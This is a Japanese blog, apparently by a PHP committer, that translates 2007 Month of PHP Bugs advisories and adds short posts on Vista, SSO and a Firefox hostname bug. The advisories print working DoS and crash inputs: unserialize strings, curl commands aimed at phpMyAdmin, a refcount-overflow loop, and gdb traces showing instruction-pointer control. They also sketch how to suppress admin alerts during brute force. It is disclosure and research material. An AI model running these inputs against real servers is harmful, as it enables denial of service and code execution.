"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者: Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
不必要
■リファレンス
なし
■サマリ
64ビットシステムの場合、ユーザが送信したシリアライズされた文字列は厳しい無限ループがzend_hash_init()で発生しCPUリソースを使い切ってしまう。
■影響するバージョン
PHP 4.4.5/5.1.1以下
■詳細バージョン
PHP 4.3.11がリリースされる前にunserialize関数に負の配列要素数をシリアル化した文字列に設定し処理させるとzend_hash_init()内で無限ループが発生し攻撃可能であることが発見されていました。
この問題はzend_hash_init()関数に値が渡される前に負の整数である場合にエラーを発生させることにより修正されました。負の整数がzend_hash_init()に渡されると、整数の左シフトオーバーフローが発生し無限ループに陥りました。
しばらく経ってから、幾つかの変数がintからlong型に変更されたため64ビットシステム上のunserialize関数に問題が発生しました。残念ながらzend_hash_init()はint型で処理をしていました。この為、unserialize関数からは下位32ビットの値のみzend_hash_init()に渡されていました。
これにより64ビットシステム上では32ビットの負の整数は正の整数の範囲内となり、負の要素数に対する防御は機能しなくなりました。
■PoC、攻撃コードまたは再現手順
64ビットシステム上で再現するには次のコードを実行します。
<?php unserialize("a:2147483649:{"); ?>
■備考
PHP4.4.5とPHP5.1.2以降でこの脆弱性は修正されています。
スクリプトはmax_execution_timeを超えると実行を停止する事にも留意してください。しかし、この値が30秒に設定されている場合、10リクエストで10の無限ループを発生させると、5分間100%のCPUロードに陥ります。
1 コメント
普通のWebサーバならFirewallで同じIPからの連続アクセスは制限しているはずですが、比較的小規模のDDoSでもかなり効果的に攻撃可能です。
コメントを残す
MOPB-04-2007:PHP 4 unserialize() ZVAL Reference Counter Overflow
リンク: http://www.php-security.org/MOPB/MOPB-04-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-04-2007.php
http://www.php-security.org/MOPB/code/MOPB-04-2007.php
■リファレンス
MOPB-01-2007
http://www.php-security.org/MOPB/MOPB-01-2007.html
■サマリ
「The Month of Bugs」はPHP4の16ビットリファレンスカウンタに対して可能な一つ攻撃コードから始まりました。ローカルコンピュータから攻撃可能でしたが、PHPはこれらのオーバーフローに対する防衛策を全く持ってないので他の攻撃経路も存在ます。人気が高い多くのPHPアプリケーションはユーザが設定したデータに対して現在でもunserialize関数を使用しています。このため、unserialize関数を利用してリモートから攻撃可能です。
■影響するバージョン
PHP 4.4.4以下
PHP開発者はPHP 4.4.5をリリースする際にこの重要なセキュリティフィックスの記載していません。
■詳細情報
一般的な16ビットリファレンスカウンタの問題、いつオーバーフローしどのように任意コードを実行できるかは、既にMOPB-01-2007で解説済みです。
シリアライズされた変数をunserialize関数によってアンシリアライズすると、この脆弱性をリモートからさえ攻撃可能とすること紹介します。PHPはアンシリアライズされるオブジェクトの__wakeupメソッドを実行してい、意図しないコードを実行する可能性があるため、unserialize関数をユーザが送信したデータに対して利用することはセキュリティ上非常に好ましくないです。にも関わらず、PHPマニュアルはunserialize関数をクッキーに保存したシリアライズ化されたデータをデコードする為に、phpBB2のように人気の高いPHPアプリケーションに長い間使われてきた関数であるとしています。
攻撃者が送信した文字列をunserialize関数に利用すると、任意コードが可能となるZVALリファレンスカウンタのオーバーフローが発生させることができます。
次のgdbデバッギングセッションはphpBB2 2.0.22フォーラムに対してリモートから攻撃行った状態を表示しています。
$ gdb (...) (gdb) attach 12345 (gdb) continue(gdb) continue Continuing. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1211611456 (LWP 9582)] 0x99887766 in ?? () (gdb) i r eip eip 0x99887766 0x99887766 (gdb) zbacktrace [0xbf845ac0] unserialize() /var/www/forum/includes/sessions.php:283 [0xbf84c560] session_pagestart() /var/www/forum/index.php:31 (gdb)
バックトレースとレジスタから、PHPのunserialize関数が、この例ではマップされていないメモリを指していますが、攻撃者が設定したオフセット0x99887766のコードを実行しようとし、クラッシュしたことが解ります。もしオフセットにシェルコードがあればシェルコードを実行します。
■PoC、攻撃コードまたは再現手順
添付した攻撃コードはどのようにアンシリアライズされる文字列を使ってインストラクションポインタを制御する例になっています。攻撃コードにシェルコードを実行させるには必要なシェルコードへのオフセットを設定するだけです。添付の攻撃コードの文字列は非常に長く、クッキーには収まりきりません。そのままでは例示したphpBB2に対して利用できません。
■備考
PHP 4.4.5のunserialize関数は65500までの参照が作れるようにソースコード中にハードコードされ、脆弱性はありません。
私はCVSリポジトリにこの修正を4ヶ月前にコミットしていました。PHPセキュリティレスポンスチームはこの重要なセキュリティフィックスが行われていた事を忘れていたようです。そして、これはよくあるPHPの問題です。アドバイザリがなければ一般ユーザは重要なセキュリティフィックスがあった事を知りようがありません。これに対して「悪い輩」はCVSコミットリストに監視する事により、4ヶ月も前からこの情報を持っています。
もしアップグレードできない場合、500KB以上の非常に長い攻撃文字列が必要なため、SuhosinまたはWebアプリケーションファイアーウォールで防御できます。
1 コメント
チェック用のハッシュを作る
$hash = sha1(serialize($vars).'秘密の文字列');
送信された文字列のチェック
if ($_POST['hash'] !== sha1($_POST['vars'].'秘密の文字列');
コメントを残す
デバッガさえも信用できない
リンク: http://www.darkreading.com/document.asp?doc_id=118291
「How to Cheat Hardware Memory Access」によるとメモリイメージさえ騙せる、としています。
先日cyberpoliceが公開した資料では市販のAntiVirusソフトで検出できたスパイウェアやルートキットなどは28%だったとしていました。ただでさえ低い検出率の上、メモリイメージまでも騙せるとなると困った物です。
カーネルレベルのマルウェアでプロセス、ファイル、レジストリが見えないのは当たり前になりデバッガで追跡するしかない、という話になっていたのですがデバッガでさえも信用できないとなると解析がかなり難しくならざるを得ないでしょうね....
水際で防止するしかないのでWindowsのホームユーザができるだけ早くVistaに乗り換えてくれることを祈るばかり?!です...
# Macでも良いですがBootcampでXPでは困りますからね...
# Intel MacだとVistaは動くが音が出ない、と聞いてますが
# 最新状況はどうなんでしょう?
# 私のノートPC(Vaio Z1)は標準VGAドライバで激遅だった
# のですが昨日ドライバをアップデートしてみたらATIドライバに!!
# XP並の速度では表示できるようになりました。
フィードバックはまだありません...
コメントを残す
MOPB-03-2007:PHP Variable Destructor Deep Recursion Stack Overflow
リンク: http://www.php-security.org/MOPB/MOPB-03-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
不必要
■リファレンス
なし
■サマリ
MOPB初日最後の脆弱性は2つ目の脆弱性と似ています。このケースのバグはZendエンジンの変数解放における深い再帰呼び出しのバグです。ユーザ入力が反復的な手法でパースすると、非常にネストレベルが深い配列構造の作成を許してしまいます。PHPはこのような変数を再帰的に開放しようし、リモートからのクラッシュを許してしまいます。
■影響するバージョン
すべてのPHP
■詳細情報
PHPの一つの問題はネストした配列の深さの妥当性をチェックや制を設けていないことです。ユーザ入力変数の反復的な方法で登録され、memory_limitに達するまで処理されます。残念ながらPHP配列の解放は再帰的に行われています。このためPHPはスタックが限界に達するとクラッシュします。
攻撃者はこのPHPクラッシュを多かれ少なかれ制御した状態で利用できます。PHPをスクリプトの初期化時や終了時にクラッシュさせるのは非常に簡単です。(以下のデモコードを参照)このクラッシュはリクエストが記録されないなどの結果をもたらす可能性があります。(訳注:シャットダウン関数でログを記録している場合、PHPスクリプト中からのログが記録されない。)しかし、攻撃者にとってより興味深い事は、あるアクションを実行させ、別のアクションを実行する前にスクリプトを終了可能である事です。以下のPHPコードを想定してください。
if (!checkUserPWD($user, $pass)) {
$errmsg = "There is problem ...";
displayError($errmsg);
notifyAdminOfCrackAttempt();
} else {
// do all the fun
}
攻撃者はブルートフォース攻撃で別のユーザアカウントのパスワードを試している際に、システム管理者に何百万もの通知メールで知らせたくないかも知れません。攻撃対象サーバのregister_globalsが有効だと仮定します。'errmsg'と名付けた非常に深くネストした配列変数を送信します。ユーザ名とパスワードチェックに失敗した場合、PHPは$errmsg変数にメッセージを代入し、その結果ユーザ入力配列(訳注:$errmsg)が解放され、攻撃者は通知メールなしにブルートフォース攻撃が行えます。(訳注:多少わかりやすく意訳していますが、より詳しく説明すると、$errmsgに値を代入するとZendエンジンは次のバイトコードの実行時に解放可能なメモリの解放を試みます。つまり$errmsgに代入が発生することにより、配列に保存されたPHPをクラッシュさせる配列変数の解放が行われます。)クラッシュログは残りますがシステム管理者な何が原因でクラッシュが発生したのか分かりません。
memory_limitの値が小さい場合、この攻撃コードは失敗する場合があります。
$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata
$ curl http://127.0.0.1/phpmyadmin/ -d @postdata
curl: (52) Empty reply from server
このリクエストを処理しているApacheのプロセスをgdbで見てみます。
$ gdb (...) (gdb) attach 12345 (gdb) continue Continuing. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1211787584 (LWP 7069)] 0xb7928e2c in zend_hash_destroy () from /usr/lib/apache/1.3/libphp5.so (gdb) bt #0 0xb7928e2c in zend_hash_destroy () from /usr/lib/apache/1.3/libphp5.so #1 0xb791dd08 in _zval_dtor_func () from /usr/lib/apache/1.3/libphp5.so #2 0xb7912f88 in _zval_ptr_dtor () from /usr/lib/apache/1.3/libphp5.so #3 0xb7928ee8 in zend_hash_destroy () from /usr/lib/apache/1.3/libphp5.so #4 0xb791dd08 in _zval_dtor_func () from /usr/lib/apache/1.3/libphp5.so #5 0xb7912f88 in _zval_ptr_dtor () from /usr/lib/apache/1.3/libphp5.so ... (gdb) x/5i $eip 0xb7928e2c : call 0xb7704570 0xb7928e31 : add $0x2aa7bb,%ebx 0xb7928e37 : mov 0x20(%edx),%eax 0xb7928e3a : mov %eax,(%esp) 0xb7928e3d : call 0xb7927d10 (gdb) x/20x $esp-4 0xbf322ffc: Cannot access memory at address 0xbf322ffc
バックトレースとレジスタから、PHPが関数呼び出しを行い、スタックポインタがページエラーでクラッシュを発生させるメモリアドレスを指していた事が解かります。
■PoC、攻撃コードまたは再現手順
詳細情報を参照。
■備考
PHP開発者はPHP配列の深さにハードリミットを設けたくないので、この脆弱性を回避する方法はSuhosin拡張モジュール(訳注:Hardened-PHPプロジェクトが公開しているセキュリティモジュール)を利用するかWebアプリケーションファイアーウォールが大量の"["を含む変数を廃棄するよう設定する方法しかありません。
フィードバックはまだありません...
コメントを残す
MOPB-02-2007:PHP Executor Deep Recursion Stack Overflow
リンク: http://www.php-security.org/MOPB/MOPB-02-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:不明
実証コード:不必要
■PoCまたは攻撃コード
不必要
■リファレンス
CVE-2006-1549
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1549
■サマリ
MOPBの初日は既知の問題でも修正されていない脆弱性を取り扱っています。このカテゴリの次のバグはPHPが深すぎる再帰呼び出しの防御を行っていない問題です。(訳注:PHPは再帰呼び出しが深すぎるとクラッシュする。Ruby、Pythonは再帰呼び出しの回数を制限し、Perlはシステムが許す限りのリソースを使う)PHPアプリケーションが非常に多くの再帰呼び出しを行い、スタックを使い切るとクラッシュします。この問題は非常に古い問題ですが昨年CVE名が割り当てられました。
■影響するバージョン
すべてのPHP
■詳細情報
多くの最近のPHPアプリケーションはユーザ入力にたいしてチェックや利用のための準備を行っています。例としてmagic_quotes_gpcが有効なサーバ上でその効果を取り除いたり、register_globals=on/off状況をエミュレートするPHPアプリケーションは珍しくありません。
ユーザ入力を必要な状態に整える為に簡単な再帰呼び出し関数が利用されることが多くあります。しかし、PHPは非常にネストレベルが深い配列構造を受け付けるようになっています。そのような配列が渡されると、例えばphpMyAdminのようなPHPアプリケーションは、ユーザ入力はスタックが溢れクラッシュするまで再帰的に処理されます。
$ curl http://127.0.0.1/phpmyadmin/ -d a`php -r 'echo str_repeat("[a]",20000);'`=1 curl: (52) Empty reply from server
このリクエストを送ったApacheのプロセスをgdbで見ると
$ gdb (...) (gdb) attach 12345 (gdb) continue Continuing Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1211787584 (LWP 6073)] 0xb799c218 in zend_get_zval_ptr_ptr () from /usr/lib/apache/1.3/libphp5.so (gdb) bt #0 0xb799c218 in zend_get_zval_ptr_ptr () from /usr/lib/apache/1.3/libphp5.so #1 0xb793c73a in execute () from /usr/lib/apache/1.3/libphp5.so #2 0xb793baf8 in execute () from /usr/lib/apache/1.3/libphp5.so ... #24863 0xb79406e3 in execute () from /usr/lib/apache/1.3/libphp5.so #24864 0xb793baf8 in execute () from /usr/lib/apache/1.3/libphp5.so #24865 0xb791fde8 in zend_execute_scripts () from /usr/lib/apache/1.3/libphp5.so #24866 0xb78dbb6b in php_execute_script () from /usr/lib/apache/1.3/libphp5.so #24867 0xb799df9d in apache_php_module_main () from /usr/lib/apache/1.3/libphp5.so ... (gdb) x/5i $eip 0xb799c218 : call 0xb7704570 0xb799c21d : add $0x2373cf,%ebx 0xb799c223 : test %edx,%edx 0xb799c225 : je 0xb799c3e6 0xb799c22b : mov 0xc(%ebp),%eax (gdb) x/20x $esp-4 0xbf322f9c: Cannot access memory at address 0xbf322f9c (gdb)
このバックトレースとレジスタから、スタックポインタがクラッシュを発生させる非ページメモリアドレスを参照する関数呼び出しを行おうとしている事が解かります。
■PoC、攻撃コードまたは再現手順
詳細情報を参照。
■備考
PHP開発者はこの問題を修正しようと思っていません。数えきれないほどの議論がありましたがPHP開発者はどの解決策も受け入れようとしませんでした。
PHPユーザとしてはいくつかのワークアラウンドが選択できます。Suhosin(またはxdebug)(訳注:xdebugはデバッグ用のモジュールで運用サーバに導入するのはお勧めできません)のようなアプリケーションによる深すぎる再帰呼び出しを制限しクラッシュを回避するモジュールをインストールするか、同様の機能をPHPのコアに直接パッチする事ができます。
フィードバックはまだありません...
コメントを残す
MOPB-01-2007:PHP 4 Userland ZVAL Reference Counter Overflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-01-2007.html
"the Month of PHP Bugs"をできるだけ多くの方が読めるように、Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:不明
実証コード:Stefan Esser
■POC/攻撃コード
MOPB-01-2007.php
http://www.php-security.org/MOPB/code/MOPB-01-2007.php
■リファレンス
なし
■サマリ
「The Month of PHP Bugs」は長年の間PHP開発者の間では知られていたPHP4のセキュリティ脆弱性から始まります。
PHPアプリケーションがPHP4で実行されている場合、変数の参照カウンタが16bitであるためにオーバーフローを起こしてしまいます。このオーバーフローが発生するたびに変数の2重のメモリ解放(訳注:一般にダブルフリーと呼ばれ、任意コードの実行も可能な場合があるバグです。通常はC言語のfree()システム関数を2重に呼び出す事を意味しますが、ここではPHPのメモリ管理機構の解放機能を2重に呼び出す事を意味しています。)が発生します。ローカルコンピュータからの攻撃者はこの2重のメモリ解放を利用してPHPを実行しているプロセス(たとえばWebサーバプロセス)内で任意コード実行を行うPHPコードを簡単に記述可能です。この脆弱性はdisable_functions、open_basedir、SAFE_MODEのバイパスを可能にしたり、対象のローカルルート攻撃を発動できます。
■影響するバージョン
すべてのPHP4
■詳細情報
PHP4の変数を定義するZVAL構造体は内部的には以下のように定義されています。
struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uchar type; /* active type */
zend_uchar is_ref;
zend_ushort refcount;
};
この構造体は構造体全体が(32bit システム上で)8バイトになるようrefcouuntは16ビット幅で設計されました。16ビットでは簡単にオーバーフローし、PHPはリファレンスカウンタのオーバーフローに対して内部で保護する機構を持たないため、PHP5では32ビット幅に拡張されました。このことは残念ながらPHP4にとって以下のようなコードはリファレンスカウンタをオーバーフローさせ2重のメモリ解放をスクリプトの最後で発生させます。
$var = "POC";
for ($i = 0; $i < 0x10001; $i++) {
$arr[] = &$var;
}
攻撃者はリファレンスカウンタをオーバフローさせ利用できます。そして、攻撃者は攻撃のために削除する値のリファレンスを一つ削除します。PHPは下位16ビットの値だけしか保持していないのでこの場合のリファレンスカウントは1になります。この変数(訳注:$var)が解放されるとき、攻撃者は他の変数が同じメモリを割り当てられるように細工した変数を作成します。その後、すべてのrefcountが1の変数が再度解放されるようすべてのリファレンスを解放します。
私たちのPoC(Proof of comcept)コードは攻撃者がどのようにPHP配列の内部ヘッダと同じ場所に文字列を配置するか説明しています。このコードは攻撃者が文字列のオフセットを利用して内部ヘッダの読み書きを可能します。コードの実行は内部配列ヘッダのデストラクタフィールドを任意のポインタ(訳注:もちろん攻撃用のコードへのポインタ)に書き換え、後で配列変数を削除するだけです。
■PoC、攻撃または再現実験の手順
添付された攻撃コードは直接実行できません。最初に外部から読み込みを防ぐためのdie()関数を削除します。この攻撃コードは実際のシェルコード(訳注:bash, shなどのシェルを起動するコード)も含んでいません。このコードはデバッガを起動するだけです。シェルコードを入れたければどのようなものでも入れられます。十分に長くすることにだけ注意してください。(たとえば500バイト)
攻撃コードは32ビットシステム用でリトルエンディアンとビックエンディアンシステムの両方でそのまま実行可能なはずです。(訳注:gdbを起動するのでgdbが実行できるシステム(Linuxなど)でそのまま実行できる)シェルコードアドレスにリークしているので、攻撃コードにはオフセットは必要ありません。(訳注:通常この手の攻撃コードを機能させるにはメモリオフセットが必要なことが多い)
$ gdb ./php-4.4.4 (...) (gdb) run exploit.php Starting program: /home/code/MOPB/php-4.4.4 exploit.php Program received signal SIGTRAP, Trace/breakpoint trap. 0x08573e95 in ?? () (gdb) x/5i $eip 0x8573e95: int3 0x8573e96: int3 0x8573e97: int3 0x8573e98: int3 0x8573e99: int3 (gdb)
■備考
PHP開発者はこの問題を修正するつもりがありません。唯一の対処策はPHPリファレンスカウンタのサイズを変更(16ビットから32ビット)することですが、ソースを公開していないPHP拡張モジュールを作成している会社に問題を発生させるためです。リファレンスカウンタのサイズを変更をするとすべてのPHPモジュールをコンパイルし直しが必要で、ソースを公開していないPHPモジュールは使えなくなります。
フィードバックはまだありません...
コメントを残す
the Month of PHP Bugs開始
リンク: http://www.php-security.org/
"the Month of PHP Bugs"が始まりました。できるだけ多くの方が読めるように、Stefanさんの承諾を得て、日本語訳を公開します。「the Month of PHP Bugs」カテゴリがMoPBの翻訳ページになります。
http://blog.ohgaki.net/index.php/yohgaki?cat=41
まずはトップページから翻訳します。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。念の為に記載します。私はPHPプロジェクトのコミッタですがHardened-PHP ProjectおよびMonth of PHP Bugsには関係がありません。日本のPHPユーザが置き去りにされないよう日本語訳を公開しているだけです。
誤訳、間違い、タイポなどがあった場合、指摘していただけると助かります。
http://www.php-security.org/
----
■「the Month of PHP Bugs」について
「the Month of PHP Bugs」はPHPセキュリティを向上する為の試みです。我々は安全でないPHPアプリケーションの原因となるPHP言語の問題ではなく、PHPコアの脆弱性を取り扱います。2007年3月の間、Zendエンジン、PHPコアと拡張モジュールの既知のセキュリティ脆弱性と新しいセキュリティセキュリティ脆弱性を毎日公開します。PHPセキュリティレスポンスチームが採用している現在の脆弱性管理プロセスに必要な変更も指摘します。
(Hardened-PHP Project, 2007)
Bugs
# Bugリスト。未翻訳
■FAQ - よく聞かれる質問
以下は「the Month of PHP Bugs」(以下、MOPB)実行の動機と関連した事実についてよくある質問と回答、関係した製品(プログラム)と脆弱性を公開したチームなど、のリストです。我々に質問する前に、既にここで回答済みでないか確認してください。余計やメール、攻撃的またはナンセンスなメールには返信しません。
1. これはPHP、the PHP Group, PHP開発者やPHPユーザに対する攻撃、復讐、陰謀または何かの悪意を企みですか?
全く違います。「Hardened-PHPプロジェクト」は長年の間、非常に重大なセキュリティホールからあまり重要でないセキュリティホールまでPHP開発者と利用者に公開してきました。「Hardened-PHPプロジェクト」はPHPがリリースされる前にCVSスナップショット版の幾つかのバグを修正も行っています。(訳注:「Hardened-PHPプロジェクト」はリリース版のPHPの安全性向上が目標ですが、いくつかのセキュリティパッチは開発中のPHPソースコードにも適用されています)「Month of PHP Bugs」は我々が行ってきたセキュリティ監査の別のレポートだと理解してください。残念ながら他の方が書いたコード、他の方が行っているバグの処理プロセスのセキュリティ脆弱性を公表すると開発者は傷付けられ、攻撃されたと受け止められがちです。
皆さんが興味を持つなら、PHPソースコードが我々だけでなく多くの方によってチェックされるよう、PHPセキュリティ監査プロジェクトを行いたいです。
2. どのようなセキュリティ関連バグが対象ですか?
簡単なサービス不能(DoS)バグからリモートコード実行脆弱性までいろいろな種類のセキュリティ関連バグを公開します。
3.PHPアプリケーションも対象ですか?
いいえ。もし「month of PHP application bug」を希望されているならbugtraqやfull-disclosureメーリングリストを購読できます。幾つかのPHP関連ソフトウェアのバグも、ボーナスとして追加するかもしれませんがPHPアプリケーションのバグは追加しません。MOPBはPHPのソースディストリビューションのバグが対象です。
4.PHPセキュリティ対応チームは公開される問題を知っていますか?
すべてのバグではありませんがほとんどのバグは通知されています。ですからいつくかのバグは最新のPHPリリースで修正され、いくつか未修正です。事前通知を行ってもPHP開発者はCVSにセキュリティパッチをコミットし、脆弱性を修正したバージョンを何ヶ月間もリリースせずにユーザを危険にさらしている事が普通です。
5.MOPBに対して「だれか」がスポンサー、サポート、対価を払っていますか? MOPBは競合製品を使うようにFUD(訳注:Fear、Uncertanity、Doubtの頭文字)を広めているのですか?
MOPBは「Hardened-PHP Project」がコストを負担しています。それからホスティング会社はミラーサーバを提供しています。サポートしていただけるなら寄付によって我々をサポートできます。私たちの目的はPHPの利用を止めさせることではありません。ですからFUDを広めることを目的に寄付するのであればお金の無駄です。
訳注:Hardened-PHP ProjectはPayPalでの寄付を受け付けています。
http://www.hardened-php.net/donate.45.html
6.なぜ攻撃コードを公開するのですか?無責任ではありませんか?
攻撃コードは脆弱性が攻撃不可能だと信じている方(おそらく自分自身での再現実験の失敗が原因)のために公開しています。脆弱性を攻撃コードが無い事は時々PHPの脆弱性が正しく修正されなかったり、後になって全く同じバグが入ってしまう原因になっています。
7.なぜ情報漏えい脆弱性を公開するのですか?これらは全く危険ではありません。
間違っています。はじめに、いくつかの情報漏えい脆弱性、たとえばApacheメモリ情報の漏えいはSSLの秘密鍵へのアクセスを許してしまうかもしれません。もし攻撃者が秘密鍵を読み取ることができれば、攻撃者は中継攻撃(Man in the middle attack)を行えます。近年のASLR、NX、カナリア値(訳注:メモリ管理・アクセスの整合性維持する仕組み)による防御を置いておくとして、正確なメモリアドレスを知ることは攻撃を成功させるために重要です。
8.MOPBはMOAB、MOKB、MOBBと提携していますか?
いいえ。実際、MOPBはいくつかのポイントでこれらの試みと異なっています。はじめに、私たちは一つの製品の脆弱性のみ公開します。次に、1日に1の脆弱性を公開するよう制限していません。
MOPBのサイトデザインはMOABサイトに似ていると気付くかも知れません。これはMOABサイトがクリーンでシンプルであり彼らがデザインを流用する事を許可したからです。
■プレスとプレッシャ
MOPBに対するプレス、メディアの反応
The year 2007: A review through the crystal ball - Heise Security
http://www.heise-security.co.uk/articles/83058
Coming in March: Month of PHP bugs - ZDNet Blog
http://blogs.zdnet.com/security/?p=18
■放棄声明書
Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author(s) be liable for any direct or indirect damages whatsoever result of or in connection with the use or spread of this information, which is distributed for educational and research purposes only. Any use of this information is at the user's own risk.
1 コメント
実はStefanさんは去年12月までPHPセキュリティレスポンスチームのメンバーで、PHPのセキュリティ向上にかなり貢献していました。しかし、愛想を尽かしてメンバーを止めてしまいました。どういった状況だったのか想像できるので気持ちは分かります。
MOPBを機会にPHPセキュリティレスポンスチームがより良い運営を行えるようになる事を願っています。
コメントを残す
Month of PHP bugs
リンク: http://blog.php-security.org/archives/71-Month-of-PHP-Bugs-and-PHP-5.2.1.html
Stefanさんが公言していた通り、セキュリティホールの公開が3月から始まるそうです。
The Month for the "Month of PHP bugs" was choosen and it will be March. This means I will post every day in March information about one or more vulnerabilities within PHP.
PHPの開発者は知っているがPHPの利用者はあまり知らないセキュリティ上の問題などもどんどん公開すればよいと思います。(セキュリティホールとして直すつもりがない物もあったりするので... )
たぶん私も知らない脆弱性もあるはずです。この忙しい時に対応しなければならないので困ったものです。せめて4月にしてもらいたい...
フィードバックはまだありません...
コメントを残す
不正アクセス行為の現状
2/22日に総務省が公開している
不正アクセス行為の発生状況及びアクセス制御機能に関する技術の研究開発の状況
http://www.soumu.go.jp/s-news/2007/070222_3.html
「表2-2 不正アクセス行為の態様の推移」によると、昨年はセキュリティホールを利用してコンピュータを攻撃して検挙した事件はなかったそうです。以前はセキュリティホール攻撃型での検挙もあったのですが、セキュリティホールを攻撃するのはリスクが高いことが認知された(?)結果かもしれません。
金目当てならオークションが一番手っ取り早い、ということのようですね。
フィードバックはまだありません...
コメントを残す
問題:SSOの実装
WebサイトでSSO(Single Sign On)を実装するところも増えてきています。
比較的最近、SSO実装について議論する機会が幾つかありました。WebでSSOを実装する場合にどう実装すべきか議論したのですが、設計上に問題がある実装をイメージされている場合がありました。
Webサイトの場合、認証情報・状態を管理するサーバ(認証サーバ )とそれを利用するサーバ(認証クライアント)が通信してSSOを実現します。
SSOの目的は
- 認証情報(ユーザ名とパスワード)を一元管理する
- 認証状態(ログイン状態)を一元管理する
です。
問題:SSOの実装には認証サーバと認証クライアントの通信にユーザ名・パスワードは必要ありません。認証サーバと認証クライアント間の通信にユーザ名・パスワードが必要ないSSO実装を述べよ。
CAS(JA-SIG Central Authentication Service)、JOSSO、OpenSSO等を使う、と言う手もあります。(JOSSO 1.5はPHP、ASPのインターフェースもできたようです)これらのSSOシステムを使うと問題の意味がありません。LLだけで作ってもたいした手間ではないので解答は全部自前で実装することが前提です。適切なセッション管理を各認証クライアント(サーバ)が行っている事とします。
解答は別のブログエントリで。
# 忙しいので早くても再来週くらい、かな。
フィードバックはまだありません...
コメントを残す
企業ユーザはVistaにアップグレードすべきか?
以前のエントリでVistaへのアップグレードを薦めていますが、これは個人ユーザはアップグレードした方が良い、できればすべての個人Windowsユーザがアップグレードした方が良いと思っています。非常に多くの個人ユーザPCがボット化されている現状を考えるとXPよりVistaのセキュリティモデル(UAC)の方が優れていることは明らかです。
しかし、企業ユーザも早くVistaにアップグレードするべきとは考えていません。私が書かなくでも既に多くのブログや記事などでVistaへのアップグレードで発生する問題とXPで提供されている機能の考慮すると、アップグレードするメリットは多くない事は明らかです。アプリケーションの互換性チェックとアプリケーションの修正やバージョンアップ、実際のアップグレード作業には非常に多くのコストが必要になります。XPでも適切に管理されているPCであれば、ホームPCに見られるような「常時管理者」でログインするセキュリティ上の問題もありません。既に適切に運用・管理されているXPであれば、Vistaにアップグレードする事により、より良いセキュリティが提供される訳でもありません。
一般的な企業環境ではWindowsのクライアントはドメインに参加し、一般ユーザはドメインの通常ユーザとしてログインして利用します。ホームPCの様に管理者グループの所属するユーザでログインするような事はないはずです。普通の企業のWindows PCはファイルアクセス権限も適切に管理されているので、一般ユーザはProgram FilesフォルダやWindowsフォルダに書き込みを行えません。
適切に運用・管理されている企業のWindowsクライアントは家庭のPCのようにUACによるセキュリティ上のメリットはありません。既にXPを適切に運用している企業はVistaへのアップグレードは「できる時に行えばよい」程度の優先度です。
Vista無用、有用どちらの議論にしても対象がだれなのか明確にした方がよいですね。企業ユーザはサポート・互換性の問題があるのでVistaを選択する必要性はないですが、個人ユーザが新規にPCを購入する場合は、既に持っているものでVistaで使えないなどの問題がない限り、迷わずVistaにするべきと思います。
# XP -> Vistaへのアップグレードは難しくないですが
# アップグレード後の調整は素人向けとは言えないので
# 自身の無い方にはお勧めしません。
# とはいっても自分が普段使っているアカウントがAdministrators
# グループに所属している方はVistaへのアップグレードをお勧め
# します。
1 コメント
アンチウィルスソフトがスキャンを開始したりするとPCが使い物にならないくらい遅くなったりします(実際、Viao Z1ではNorton AntiVirusでもMcAfeeでもスキャン中は遅すぎです)が、Vistaではバックグラウンドのアプリがフォアグラウンドの動作に影響が出ないようになっています。
今はVistaでWindowsLiveのOneCareをアンチウィルスソフトとして利用しています。スキャン中にメールを書いたり、ブログを書いたりしても全く気になりません。
PCを使っていて「アンチウィルスソフトでPC重すぎ」と思っている方はVistaに乗り換えるメリットがあるかも知れません。
コメントを残す
Firefox 2.0の脆弱性
Firefox 2.0にNullバイト攻撃の可能性、よくあるバイナリセーフ/非バイナリセーフの問題ですが...
https://bugzilla.mozilla.org/show_bug.cgi?id=370445
The problem lies in how Firefox handles writes to the 'location.hostname' DOM property. It is possible for a script to set it to values that would not otherwise be accepted as a hostname when parsing a regular URL - including a string containing \x00.
実験ページ
http://lcamtuf.dione.cc/ffhostname.html
そのページのJavaScript
function do_evil(onload) {
if (!onload) {
try { location.hostname='lcamtuf.dione.cc\x00www.coredump.cx'; }
catch (err) { alert('Failed to modify location.hostname - probably not vulnerable.'); }
} else if (location.hostname != 'lcamtuf.dione.cc') {
